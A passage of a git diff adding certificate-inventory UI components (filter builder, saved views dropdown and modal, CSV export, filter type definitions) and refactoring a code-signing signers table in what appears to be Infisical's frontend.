+          .filter(Boolean) as { value: string; label: string }[];
+
+        return (
+          <FilterableSelect
+            isMulti
+            value={selectedOptions}
+            onChange={(opts) => {
+              const selected = Array.isArray(opts) ? opts.map((o) => o.value) : [];
+              onUpdate({ ...rule, value: selected });
+            }}
+            options={options}
+            placeholder="Select..."
+            className="w-full text-sm"
+            maxMenuHeight={160}
+            menuPortalTarget={document.body}
+            menuPosition="fixed"
+          />
+        );
+      }
+      case "select":
+        return (
+          <Select
+            value={(rule.value as string) || ""}
+            onValueChange={(val: string) => onUpdate({ ...rule, value: val })}
+          >
+            <SelectTrigger className="w-full">
+              <SelectValue placeholder="Select..." />
+            </SelectTrigger>
+            <SelectContent position="popper" align="start">
+              {options.map((opt) => (
+                <SelectItem key={opt.value} value={opt.value}>
+                  {opt.label}
+                </SelectItem>
+              ))}
+            </SelectContent>
+          </Select>
+        );
+      case "date":
+        return (
+          <DatePickerInput
+            value={(rule.value as string) || null}
+            onChange={(val) => onUpdate({ ...rule, value: val })}
+          />
+        );
+      case "number":
+        return (
+          <Input
+            type="number"
+            value={rule.value !== null ? String(rule.value) : ""}
+            onChange={(e) =>
+              onUpdate({ ...rule, value: e.target.value ? Number(e.target.value) : null })
+            }
+            placeholder="Value"
+            className="w-full"
+          />
+        );
+      default:
+        return (
+          <Input
+            value={(rule.value as string) || ""}
+            onChange={(e) => onUpdate({ ...rule, value: e.target.value })}
+            placeholder="Value"
+            className="w-full"
+          />
+        );
+    }
+  };
+
+  return (
+    <div className="flex items-start gap-2">
+      <Select value={rule.field} onValueChange={handleFieldChange}>
+        <SelectTrigger className="w-[180px] shrink-0">
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent position="popper" align="start">
+          {FILTER_FIELDS.map((f) => (
+            <SelectItem key={f.key} value={f.key}>
+              {f.label}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+
+      <Select
+        value={rule.operator}
+        onValueChange={(newOp: string) => onUpdate({ ...rule, operator: newOp })}
+      >
+        <SelectTrigger className="w-[100px] shrink-0">
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent position="popper" align="start">
+          {fieldDef.operators.map((op) => (
+            <SelectItem key={op.value} value={op.value}>
+              {op.label}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+
+      <div className="min-w-0 flex-1">{renderValueInput()}</div>
+
+      <IconButton
+        variant="ghost"
+        size="xs"
+        onClick={onRemove}
+        aria-label="Remove filter"
+        className="mt-1.5 shrink-0 hover:text-red-400"
+      >
+        <Trash2Icon />
+      </IconButton>
+    </div>
+  );
+};
+
+export const FilterBuilder = ({
+  rules,
+  onChange,
+  onApply,
+  onCancel,
+  onClearAll,
+  onSaveView,
+  dynamicFieldOptions
+}: Props) => {
+  const hasEmptyRules = rules.some(isRuleEmpty);
+
+  const handleApplyWithValidation = () => {
+    onChange(rules.filter((r) => !isRuleEmpty(r)));
+    onApply();
+  };
+
+  const handleSaveWithValidation = () => {
+    onChange(rules.filter((r) => !isRuleEmpty(r)));
+    onSaveView?.();
+  };
+
+  const handleAddRule = () => {
+    const defaultField = FILTER_FIELDS[0];
+    onChange([
+      ...rules,
+      {
+        id: crypto.randomUUID(),
+        field: defaultField.key,
+        operator: defaultField.operators[0]?.value || "is",
+        value: defaultField.valueType === "multi-select" ? [] : null
+      }
+    ]);
+  };
+
+  const handleUpdateRule = (index: number, updated: FilterRule) => {
+    const newRules = [...rules];
+    newRules[index] = updated;
+    onChange(newRules);
+  };
+
+  const handleRemoveRule = (index: number) => {
+    onChange(rules.filter((_, i) => i !== index));
+  };
+
+  return (
+    <div className="space-y-3 p-4">
+      <div className="flex items-center justify-between">
+        <span className="text-sm font-medium text-foreground">Filters</span>
+        {rules.length > 0 && (
+          <Button variant="ghost" size="xs" onClick={onClearAll} className="h-auto p-0 text-xs">
+            Clear all
+          </Button>
+        )}
+      </div>
+
+      {rules.length === 0 ? (
+        <p className="py-3 text-center text-xs text-muted">
+          No filters applied. Click &quot;Add filter&quot; to get started.
+        </p>
+      ) : (
+        <div className="max-h-[40vh] space-y-1.5 overflow-y-auto">
+          {rules.map((rule, index) => (
+            <div key={rule.id}>
+              {index > 0 && (
+                <div className="py-0.5 pl-1 text-[10px] font-medium text-muted uppercase">AND</div>
+              )}
+              <FilterRow
+                rule={rule}
+                onUpdate={(updated) => handleUpdateRule(index, updated)}
+                onRemove={() => handleRemoveRule(index)}
+                dynamicFieldOptions={dynamicFieldOptions}
+              />
+            </div>
+          ))}
+        </div>
+      )}
+
+      <Button variant="ghost" size="xs" onClick={handleAddRule} className="gap-1">
+        <PlusIcon />
+        Add filter
+      </Button>
+
+      <div className="flex items-center justify-between border-t border-border pt-3">
+        {onSaveView && (
+          <Button variant="outline" size="xs" onClick={handleSaveWithValidation}>
+            Save as View...
+          </Button>
+        )}
+        <div className="ml-auto flex items-center gap-2">
+          {hasEmptyRules && (
+            <span className="text-xs text-muted">Empty filters will be ignored</span>
+          )}
+          <Button variant="ghost" size="sm" onClick={onCancel}>
+            Cancel
+          </Button>
+          <Button variant="project" size="sm" onClick={handleApplyWithValidation}>
+            Apply Filters
+          </Button>
+        </div>
+      </div>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/CertificatesPage/components/SaveViewModal.tsx b/frontend/src/pages/cert-manager/CertificatesPage/components/SaveViewModal.tsx
new file mode 100644
index 00000000000..361a346d9f0
--- /dev/null
+++ b/frontend/src/pages/cert-manager/CertificatesPage/components/SaveViewModal.tsx
@@ -0,0 +1,106 @@
+import { useState } from "react";
+
+import { createNotification } from "@app/components/notifications";
+import {
+  Button,
+  Dialog,
+  DialogClose,
+  DialogContent,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+  Input,
+  Switch
+} from "@app/components/v3";
+import { useCreateCertificateInventoryView } from "@app/hooks/api/certificateInventoryViews";
+import type { TInventoryViewFilters } from "@app/hooks/api/certificateInventoryViews/types";
+
+import { type FilterRule, filtersToSearchParams } from "./inventory-types";
+
+type Props = {
+  isOpen: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  projectId: string;
+  filters: FilterRule[];
+  onViewCreated?: (viewId: string, filters: TInventoryViewFilters) => void;
+};
+
+export const SaveViewModal = ({
+  isOpen,
+  onOpenChange,
+  projectId,
+  filters,
+  onViewCreated
+}: Props) => {
+  const [name, setName] = useState("");
+  const [isShared, setIsShared] = useState(false);
+  const { mutateAsync: createView, isPending } = useCreateCertificateInventoryView();
+
+  const handleSave = async () => {
+    if (!name.trim()) return;
+
+    const apiFilters = filtersToSearchParams(filters);
+    const result = await createView({
+      projectId,
+      name: name.trim(),
+      filters: apiFilters,
+      isShared
+    });
+    createNotification({
+      text: `View "${name}" saved successfully`,
+      type: "success"
+    });
+    setName("");
+    setIsShared(false);
+    onOpenChange(false);
+    if (onViewCreated && result?.id) {
+      onViewCreated(result.id, apiFilters);
+    }
+  };
+
+  return (
+    <Dialog
+      open={isOpen}
+      onOpenChange={(open) => {
+        if (!open) {
+          setName("");
+          setIsShared(false);
+        }
+        onOpenChange(open);
+      }}
+    >
+      <DialogContent className="max-w-md">
+        <DialogHeader>
+          <DialogTitle>Save View As</DialogTitle>
+        </DialogHeader>
+        <form
+          onSubmit={(e) => {
+            e.preventDefault();
+            handleSave();
+          }}
+        >
+          <Input
+            value={name}
+            onChange={(e) => setName(e.target.value)}
+            placeholder="Enter view name"
+            autoFocus
+            className="mt-2"
+          />
+          {/* eslint-disable-next-line jsx-a11y/label-has-associated-control */}
+          <label className="mt-4 flex cursor-pointer items-center gap-2 text-sm text-foreground">
+            <Switch checked={isShared} onCheckedChange={setIsShared} />
+            Share with team
+          </label>
+          <DialogFooter className="mt-6">
+            <DialogClose asChild>
+              <Button variant="ghost">Cancel</Button>
+            </DialogClose>
+            <Button type="submit" variant="project" isPending={isPending} isDisabled={!name.trim()}>
+              Save
+            </Button>
+          </DialogFooter>
+        </form>
+      </DialogContent>
+    </Dialog>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/CertificatesPage/components/ViewsDropdown.tsx b/frontend/src/pages/cert-manager/CertificatesPage/components/ViewsDropdown.tsx
new file mode 100644
index 00000000000..8f4f1c62475
--- /dev/null
+++ b/frontend/src/pages/cert-manager/CertificatesPage/components/ViewsDropdown.tsx
@@ -0,0 +1,236 @@
+import { useState } from "react";
+import { CheckIcon, ChevronDownIcon, GlobeIcon, Trash2Icon, XIcon } from "lucide-react";
+import { twMerge } from "tailwind-merge";
+
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuLabel,
+  DropdownMenuRadioGroup,
+  DropdownMenuRadioItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+  IconButton,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
+import { TSystemView } from "@app/hooks/api/certificateInventoryViews";
+import type {
+  TCertificateInventoryView,
+  TInventoryViewFilters,
+  TSystemViewFilters
+} from "@app/hooks/api/certificateInventoryViews/types";
+
+type Props = {
+  activeViewId: string | null;
+  systemViews: TSystemView[];
+  sharedViews: (TCertificateInventoryView & { isSystem: false; isShared: true })[];
+  customViews: (TCertificateInventoryView & { isSystem: false; isShared: false })[];
+  currentUserId?: string;
+  onSelectView: (viewId: string, filters: TInventoryViewFilters | TSystemViewFilters) => void;
+  onDeleteView?: (viewId: string) => void;
+  onToggleShare?: (viewId: string, isShared: boolean) => void;
+};
+
+export const ViewsDropdown = ({
+  activeViewId,
+  systemViews,
+  sharedViews,
+  customViews,
+  currentUserId,
+  onSelectView,
+  onDeleteView,
+  onToggleShare
+}: Props) => {
+  const [pendingDeleteId, setPendingDeleteId] = useState<string | null>(null);
+
+  const activeView =
+    systemViews.find((v) => v.id === activeViewId) ||
+    sharedViews.find((v) => v.id === activeViewId) ||
+    customViews.find((v) => v.id === activeViewId);
+  const label = activeView?.name || "All Certificates";
+
+  const renderActions = (viewId: string, isShared: boolean, isActive = false) => {
+    if (!onDeleteView && !onToggleShare) return null;
+    if (isActive && pendingDeleteId !== viewId) return null;
+
+    if (pendingDeleteId === viewId && onDeleteView) {
+      return (
+        <div className="absolute top-1/2 right-1 flex -translate-y-1/2 items-center gap-0.5">
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <IconButton
+                variant="ghost"
+                size="xs"
+                aria-label="Confirm delete"
+                onClick={(e) => {
+                  e.stopPropagation();
+                  onDeleteView(viewId);
+                  setPendingDeleteId(null);
+                }}
+                className="text-muted hover:text-success"
+              >
+                <CheckIcon />
+              </IconButton>
+            </TooltipTrigger>
+            <TooltipContent side="top">Confirm delete</TooltipContent>
+          </Tooltip>
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <IconButton
+                variant="ghost"
+                size="xs"
+                aria-label="Cancel delete"
+                onClick={(e) => {
+                  e.stopPropagation();
+                  setPendingDeleteId(null);
+                }}
+                className="text-muted"
+              >
+                <XIcon />
+              </IconButton>
+            </TooltipTrigger>
+            <TooltipContent side="top">Cancel</TooltipContent>
+          </Tooltip>
+        </div>
+      );
+    }
+
+    return (
+      <div className="absolute top-1/2 right-1 flex -translate-y-1/2 items-center gap-0.5 opacity-0 transition-opacity group-hover:opacity-100">
+        {onToggleShare && (
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <IconButton
+                variant="ghost"
+                size="xs"
+                aria-label={isShared ? "Make personal" : "Share with team"}
+                onClick={(e) => {
+                  e.stopPropagation();
+                  onToggleShare(viewId, !isShared);
+                }}
+                className="text-muted hover:text-foreground"
+              >
+                <GlobeIcon />
+              </IconButton>
+            </TooltipTrigger>
+            <TooltipContent side="top">
+              {isShared ? "Make personal" : "Share with team"}
+            </TooltipContent>
+          </Tooltip>
+        )}
+        {onDeleteView && (
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <IconButton
+                variant="ghost"
+                size="xs"
+                aria-label="Delete view"
+                onClick={(e) => {
+                  e.stopPropagation();
+                  setPendingDeleteId(viewId);
+                }}
+                className="text-muted hover:text-danger"
+              >
+                <Trash2Icon />
+              </IconButton>
+            </TooltipTrigger>
+            <TooltipContent side="top">Delete view</TooltipContent>
+          </Tooltip>
+        )}
+      </div>
+    );
+  };
+
+  return (
+    <DropdownMenu onOpenChange={() => setPendingDeleteId(null)}>
+      <DropdownMenuTrigger asChild>
+        <button
+          type="button"
+          aria-label="Select certificate view"
+          className="flex h-9 w-[190px] items-center justify-between rounded-md border border-border px-3 text-sm text-foreground transition-all hover:border-foreground/50 hover:bg-foreground/20"
+        >
+          <span className="truncate">{label}</span>
+          <ChevronDownIcon className="size-3.5 shrink-0 text-muted" />
+        </button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent sideOffset={2} className="w-64" align="end">
+        <DropdownMenuLabel>System Views</DropdownMenuLabel>
+        <DropdownMenuRadioGroup value={activeViewId || "system-all"}>
+          {systemViews.map((view) => (
+            <DropdownMenuRadioItem
+              key={view.id}
+              value={view.id}
+              onClick={() => onSelectView(view.id, view.filters)}
+            >
+              {view.name}
+            </DropdownMenuRadioItem>
+          ))}
+        </DropdownMenuRadioGroup>
+
+        {sharedViews.length > 0 && (
+          <>
+            <DropdownMenuSeparator />
+            <DropdownMenuLabel>Shared Views</DropdownMenuLabel>
+            <DropdownMenuRadioGroup value={activeViewId || ""}>
+              {sharedViews.map((view) => {
+                const isOwner = currentUserId && view.createdByUserId === currentUserId;
+                return (
+                  <DropdownMenuRadioItem
+                    key={view.id}
+                    value={view.id}
+                    className="group relative"
+                    onClick={() => onSelectView(view.id, view.filters as Record<string, unknown>)}
+                  >
+                    <span
+                      className={twMerge(
+                        "min-w-0 flex-1 truncate",
+                        isOwner && activeViewId !== view.id && "group-hover:pr-8"
+                      )}
+                    >
+                      {view.name}
+                    </span>
+                    {isOwner && renderActions(view.id, true, activeViewId === view.id)}
+                  </DropdownMenuRadioItem>
+                );
+              })}
+            </DropdownMenuRadioGroup>
+          </>
+        )}
+
+        <DropdownMenuSeparator />
+
+        <DropdownMenuLabel>My Views</DropdownMenuLabel>
+        {customViews.length === 0 ? (
+          <div className="px-2 py-2 text-center text-xs text-muted">
+            No custom views saved yet.
+            <br />
+            Apply filters and click &quot;Save as View&quot;
+          </div>
+        ) : (
+          <DropdownMenuRadioGroup value={activeViewId || ""}>
+            {customViews.map((view) => (
+              <DropdownMenuRadioItem
+                key={view.id}
+                value={view.id}
+                className="group relative"
+                onClick={() => onSelectView(view.id, view.filters as Record<string, unknown>)}
+              >
+                <span
+                  className={twMerge(
+                    "min-w-0 flex-1 truncate",
+                    activeViewId !== view.id && "group-hover:pr-8"
+                  )}
+                >
+                  {view.name}
+                </span>
+                {renderActions(view.id, false, activeViewId === view.id)}
+              </DropdownMenuRadioItem>
+            ))}
+          </DropdownMenuRadioGroup>
+        )}
+      </DropdownMenuContent>
+    </DropdownMenu>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/CertificatesPage/components/csvExport.ts b/frontend/src/pages/cert-manager/CertificatesPage/components/csvExport.ts
new file mode 100644
index 00000000000..d5e1e5db176
--- /dev/null
+++ b/frontend/src/pages/cert-manager/CertificatesPage/components/csvExport.ts
@@ -0,0 +1,61 @@
+import { TCertificate, TCertificateSource } from "@app/hooks/api/certificates/types";
+
+import { getCertSourceLabel } from "./CertificatesTable.utils";
+
+const CSV_COLUMNS = [
+  { key: "commonName", header: "Common Name" },
+  { key: "altNames", header: "SANs" },
+  { key: "serialNumber", header: "Serial Number" },
+  { key: "status", header: "Status" },
+  { key: "enrollmentType", header: "Enrollment Method" },
+  { key: "keyAlgorithm", header: "Algorithm" },
+  { key: "notBefore", header: "Issued" },
+  { key: "notAfter", header: "Expires" },
+  { key: "caName", header: "CA" },
+  { key: "profileName", header: "Profile" },
+  { key: "source", header: "Source" }
+] as const;
+
+const escapeCSV = (value: string | null | undefined): string => {
+  if (value === null || value === undefined) return "";
+  const str = String(value);
+  const needsQuoting =
+    str.includes(",") ||
+    str.includes('"') ||
+    str.includes("\n") ||
+    str.includes("\r") ||
+    str.startsWith("=") ||
+    str.startsWith("+") ||
+    str.startsWith("-") ||
+    str.startsWith("@");
+  if (needsQuoting) {
+    return `"${str.replace(/"/g, '""')}"`;
+  }
+  return str;
+};
+
+export const certificatesToCSV = (certificates: TCertificate[]): string => {
+  const header = CSV_COLUMNS.map((col) => col.header).join(",");
+  const rows = certificates.map((cert) =>
+    CSV_COLUMNS.map((col) => {
+      if (col.key === "source") {
+        return escapeCSV(getCertSourceLabel((cert.source ?? null) as TCertificateSource));
+      }
+      const value = cert[col.key as keyof TCertificate];
+      if (value === null || value === undefined) return "";
+      if (typeof value === "object") return escapeCSV(JSON.stringify(value));
+      return escapeCSV(String(value));
+    }).join(",")
+  );
+  return [header, ...rows].join("\n");
+};
+
+export const downloadCSV = (csv: string, filename: string) => {
+  const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
+  const url = URL.createObjectURL(blob);
+  const link = document.createElement("a");
+  link.href = url;
+  link.download = filename;
+  link.click();
+  URL.revokeObjectURL(url);
+};
diff --git a/frontend/src/pages/cert-manager/CertificatesPage/components/inventory-types.ts b/frontend/src/pages/cert-manager/CertificatesPage/components/inventory-types.ts
new file mode 100644
index 00000000000..652e45f12eb
--- /dev/null
+++ b/frontend/src/pages/cert-manager/CertificatesPage/components/inventory-types.ts
@@ -0,0 +1,237 @@
+import type { TInventoryViewFilters } from "@app/hooks/api/certificateInventoryViews/types";
+
+export type FilterRule = {
+  id: string;
+  field: string;
+  operator: string;
+  value: string | string[] | number | Date | null;
+};
+
+export type FilterFieldDefinition = {
+  key: string;
+  label: string;
+  operators: { value: string; label: string }[];
+  valueType: "text" | "number" | "date" | "select" | "multi-select";
+  options?: { value: string; label: string }[];
+};
+
+export const FILTER_FIELDS: FilterFieldDefinition[] = [
+  {
+    key: "status",
+    label: "Status",
+    operators: [{ value: "in", label: "in" }],
+    valueType: "multi-select",
+    options: [
+      { value: "active", label: "Active" },
+      { value: "expired", label: "Expired" },
+      { value: "revoked", label: "Revoked" }
+    ]
+  },
+  {
+    key: "notAfter",
+    label: "Expiration Date",
+    operators: [
+      { value: "before", label: "before" },
+      { value: "after", label: "after" }
+    ],
+    valueType: "date"
+  },
+  {
+    key: "notBefore",
+    label: "Issued Date",
+    operators: [
+      { value: "before", label: "before" },
+      { value: "after", label: "after" }
+    ],
+    valueType: "date"
+  },
+  {
+    key: "enrollmentType",
+    label: "Enrollment Method",
+    operators: [{ value: "in", label: "in" }],
+    valueType: "multi-select",
+    options: [
+      { value: "acme", label: "ACME" },
+      { value: "api", label: "API" },
+      { value: "est", label: "EST" },
+      { value: "scep", label: "SCEP" }
+    ]
+  },
+  {
+    key: "keyAlgorithm",
+    label: "Algorithm",
+    operators: [{ value: "in", label: "in" }],
+    valueType: "multi-select",
+    options: [
+      { value: "RSA_2048", label: "RSA-2048" },
+      { value: "RSA_3072", label: "RSA-3072" },
+      { value: "RSA_4096", label: "RSA-4096" },
+      { value: "EC_prime256v1", label: "ECDSA-P256" },
+      { value: "EC_secp384r1", label: "ECDSA-P384" },
+      { value: "EC_secp521r1", label: "ECDSA-P521" },
+      { value: "ML-DSA-44", label: "ML-DSA-44" },
+      { value: "ML-DSA-65", label: "ML-DSA-65" },
+      { value: "ML-DSA-87", label: "ML-DSA-87" }
+    ]
+  },
+  {
+    key: "keySize",
+    label: "Key Size",
+    operators: [{ value: "in", label: "in" }],
+    valueType: "multi-select",
+    options: [
+      { value: "256", label: "256-bit (ECDSA)" },
+      { value: "384", label: "384-bit (ECDSA)" },
+      { value: "521", label: "521-bit (ECDSA)" },
+      { value: "2048", label: "2048-bit (RSA)" },
+      { value: "3072", label: "3072-bit (RSA)" },
+      { value: "4096", label: "4096-bit (RSA)" }
+    ]
+  },
+  {
+    key: "source",
+    label: "Source",
+    operators: [{ value: "in", label: "in" }],
+    valueType: "multi-select",
+    options: [
+      { value: "issued", label: "Managed" },
+      { value: "discovered", label: "Discovered" },
+      { value: "imported", label: "Imported" }
+    ]
+  },
+  {
+    key: "caId",
+    label: "Certificate Authority",
+    operators: [{ value: "in", label: "in" }],
+    valueType: "multi-select",
+    options: []
+  },
+  {
+    key: "profileId",
+    label: "Profile",
+    operators: [{ value: "in", label: "in" }],
+    valueType: "multi-select",
+    options: []
+  }
+];
+
+export const filtersToSearchParams = (rules: FilterRule[]): TInventoryViewFilters => {
+  const params: TInventoryViewFilters = {};
+
+  rules.forEach((rule) => {
+    switch (rule.field) {
+      case "status":
+        if (Array.isArray(rule.value) && rule.value.length > 0) {
+          params.status = rule.value.join(",");
+        }
+        break;
+      case "notAfter":
+        if (rule.operator === "before" && rule.value) {
+          params.notAfterTo = new Date(rule.value as string);
+        } else if (rule.operator === "after" && rule.value) {
+          params.notAfterFrom = new Date(rule.value as string);
+        }
+        break;
+      case "notBefore":
+        if (rule.operator === "before" && rule.value) {
+          params.notBeforeTo = new Date(rule.value as string);
+        } else if (rule.operator === "after" && rule.value) {
+          params.notBeforeFrom = new Date(rule.value as string);
+        }
+        break;
+      case "enrollmentType":
+        if (Array.isArray(rule.value) && rule.value.length > 0) {
+          params.enrollmentTypes = rule.value;
+        }
+        break;
+      case "keyAlgorithm":
+        if (Array.isArray(rule.value) && rule.value.length > 0) {
+          params.keyAlgorithm = rule.value;
+        } else if (rule.value) {
+          params.keyAlgorithm = rule.value as string;
+        }
+        break;
+      case "source":
+        if (Array.isArray(rule.value) && rule.value.length > 0) {
+          params.source = rule.value;
+        } else if (rule.value) {
+          params.source = rule.value as string;
+        }
+        break;
+      case "keySize":
+        if (Array.isArray(rule.value) && rule.value.length > 0) {
+          params.keySizes = rule.value.map(Number);
+        }
+        break;
+      case "caId":
+        if (Array.isArray(rule.value) && rule.value.length > 0) {
+          params.caIds = rule.value;
+        }
+        break;
+      case "profileId":
+        if (Array.isArray(rule.value) && rule.value.length > 0) {
+          params.profileIds = rule.value;
+        }
+        break;
+      default:
+        break;
+    }
+  });
+
+  return params;
+};
+
+export const getFilterChipLabel = (
+  rule: FilterRule,
+  dynamicFieldOptions?: Record<string, { value: string; label: string }[]>
+): string => {
+  const baseDef = FILTER_FIELDS.find((f) => f.key === rule.field);
+  const fieldLabel = baseDef?.label || rule.field;
+
+  const options =
+    dynamicFieldOptions && dynamicFieldOptions[rule.field]
+      ? dynamicFieldOptions[rule.field]
+      : baseDef?.options || [];
+
+  if (Array.isArray(rule.value)) {
+    const values = rule.value;
+    if (values.length === 1) {
+      const opt = options.find((o) => o.value === values[0]);
+      return `${fieldLabel}: ${opt?.label || values[0]}`;
+    }
+    return `${fieldLabel}: ${values.length} selected`;
+  }
+
+  if (rule.value instanceof Date) {
+    return `${fieldLabel} ${rule.operator} ${rule.value.toLocaleDateString()}`;
+  }
+
+  if (typeof rule.value === "string" && (rule.field === "notAfter" || rule.field === "notBefore")) {
+    return `${fieldLabel} ${rule.operator} ${rule.value}`;
+  }
+
+  if (typeof rule.value === "number") {
+    return `${fieldLabel}: ${rule.value}`;
+  }
+
+  const opt = options.find((o) => o.value === rule.value);
+  return `${fieldLabel}: ${opt?.label || rule.value}`;
+};
+
+export const getFilterMultiSelectLabels = (
+  rule: FilterRule,
+  dynamicFieldOptions?: Record<string, { value: string; label: string }[]>
+): string[] => {
+  if (!Array.isArray(rule.value)) return [];
+
+  const baseDef = FILTER_FIELDS.find((f) => f.key === rule.field);
+  const options =
+    dynamicFieldOptions && dynamicFieldOptions[rule.field]
+      ? dynamicFieldOptions[rule.field]
+      : baseDef?.options || [];
+
+  return rule.value.map((v) => {
+    const opt = options.find((o) => o.value === v);
+    return opt?.label || String(v);
+  });
+};
diff --git a/frontend/src/pages/cert-manager/CodeSigningPage/components/SignersTable.tsx b/frontend/src/pages/cert-manager/CodeSigningPage/components/SignersTable.tsx
index 9eb5ee7f8d5..032b825d62b 100644
--- a/frontend/src/pages/cert-manager/CodeSigningPage/components/SignersTable.tsx
+++ b/frontend/src/pages/cert-manager/CodeSigningPage/components/SignersTable.tsx
@@ -16,31 +16,31 @@ import { DeleteActionModal } from "@app/components/v2";
 import {
   Badge,
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   DocumentationLinkBadge,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Pagination,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import {
   ProjectPermissionCodeSigningActions,
@@ -98,16 +98,14 @@ export const SignersTable = ({ projectId, onCreateSigner }: Props) => {
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>
+      <Card>
+        <CardHeader>
+          <CardTitle>
             Signers
             <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/pki/code-signing" />
-          </UnstableCardTitle>
-          <UnstableCardDescription>
-            Manage signers and control who can sign artifacts.
-          </UnstableCardDescription>
-          <UnstableCardAction>
+          </CardTitle>
+          <CardDescription>Manage signers and control who can sign artifacts.</CardDescription>
+          <CardAction>
             <ProjectPermissionCan
               I={ProjectPermissionCodeSigningActions.Create}
               a={ProjectPermissionSub.CodeSigners}
@@ -119,9 +117,9 @@ export const SignersTable = ({ projectId, onCreateSigner }: Props) => {
                 </Button>
               )}
             </ProjectPermissionCan>
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           <div className="mb-4 flex gap-2">
             <InputGroup className="flex-1">
               <InputGroupAddon>
@@ -137,22 +135,22 @@ export const SignersTable = ({ projectId, onCreateSigner }: Props) => {
               />
             </InputGroup>
           </div>
-          <UnstableTable>
-            <UnstableTableHeader>
-              <UnstableTableRow>
-                <UnstableTableHead>Name</UnstableTableHead>
-                <UnstableTableHead>Status</UnstableTableHead>
-                <UnstableTableHead>Certificate CN</UnstableTableHead>
-                <UnstableTableHead>Policy</UnstableTableHead>
-                <UnstableTableHead>Certificate Expiry</UnstableTableHead>
-                <UnstableTableHead>Last Signed</UnstableTableHead>
-                <UnstableTableHead className="w-5" />
-              </UnstableTableRow>
-            </UnstableTableHeader>
-            <UnstableTableBody>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead>Name</TableHead>
+                <TableHead>Status</TableHead>
+                <TableHead>Certificate CN</TableHead>
+                <TableHead>Policy</TableHead>
+                <TableHead>Certificate Expiry</TableHead>
+                <TableHead>Last Signed</TableHead>
+                <TableHead className="w-5" />
+              </TableRow>
+            </TableHeader>
+            <TableBody>
               {!isLoading &&
                 signers.map((signer) => (
-                  <UnstableTableRow
+                  <TableRow
                     key={signer.id}
                     className="cursor-pointer hover:bg-mineshaft-700"
                     onClick={() =>
@@ -166,36 +164,33 @@ export const SignersTable = ({ projectId, onCreateSigner }: Props) => {
                       })
                     }
                   >
-                    <UnstableTableCell>{signer.name}</UnstableTableCell>
-                    <UnstableTableCell>
+                    <TableCell>{signer.name}</TableCell>
+                    <TableCell>
                       <Badge variant={getSignerStatusBadgeVariant(signer.status)}>
                         {signerStatusLabels[signer.status] ?? signer.status}
                       </Badge>
-                    </UnstableTableCell>
-                    <UnstableTableCell>{signer.certificateCommonName ?? "-"}</UnstableTableCell>
-                    <UnstableTableCell>{signer.approvalPolicyName ?? "-"}</UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>{signer.certificateCommonName ?? "-"}</TableCell>
+                    <TableCell>{signer.approvalPolicyName ?? "-"}</TableCell>
+                    <TableCell>
                       {signer.certificateNotAfter
                         ? format(new Date(signer.certificateNotAfter), "MMM d, yyyy")
                         : "-"}
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       {signer.lastSignedAt
                         ? format(new Date(signer.lastSignedAt), "MMM d, yyyy HH:mm")
                         : "Never"}
-                    </UnstableTableCell>
-                    <UnstableTableCell>
-                      <UnstableDropdownMenu>
-                        <UnstableDropdownMenuTrigger asChild>
-                          <UnstableIconButton variant="ghost" onClick={(e) => e.stopPropagation()}>
+                    </TableCell>
+                    <TableCell>
+                      <DropdownMenu>
+                        <DropdownMenuTrigger asChild>
+                          <IconButton variant="ghost" onClick={(e) => e.stopPropagation()}>
                             <MoreHorizontalIcon />
-                          </UnstableIconButton>
-                        </UnstableDropdownMenuTrigger>
-                        <UnstableDropdownMenuContent
-                          align="end"
-                          onClick={(e) => e.stopPropagation()}
-                        >
-                          <UnstableDropdownMenuItem
+                          </IconButton>
+                        </DropdownMenuTrigger>
+                        <DropdownMenuContent align="end" onClick={(e) => e.stopPropagation()}>
+                          <DropdownMenuItem
                             onClick={(e) => {
                               e.stopPropagation();
                               navigator.clipboard.writeText(signer.id);
@@ -203,19 +198,19 @@ export const SignersTable = ({ projectId, onCreateSigner }: Props) => {
                           >
                             <ClipboardCopyIcon />
                             Copy ID
-                          </UnstableDropdownMenuItem>
+                          </DropdownMenuItem>
                           <ProjectPermissionCan
                             I={ProjectPermissionCodeSigningActions.Edit}
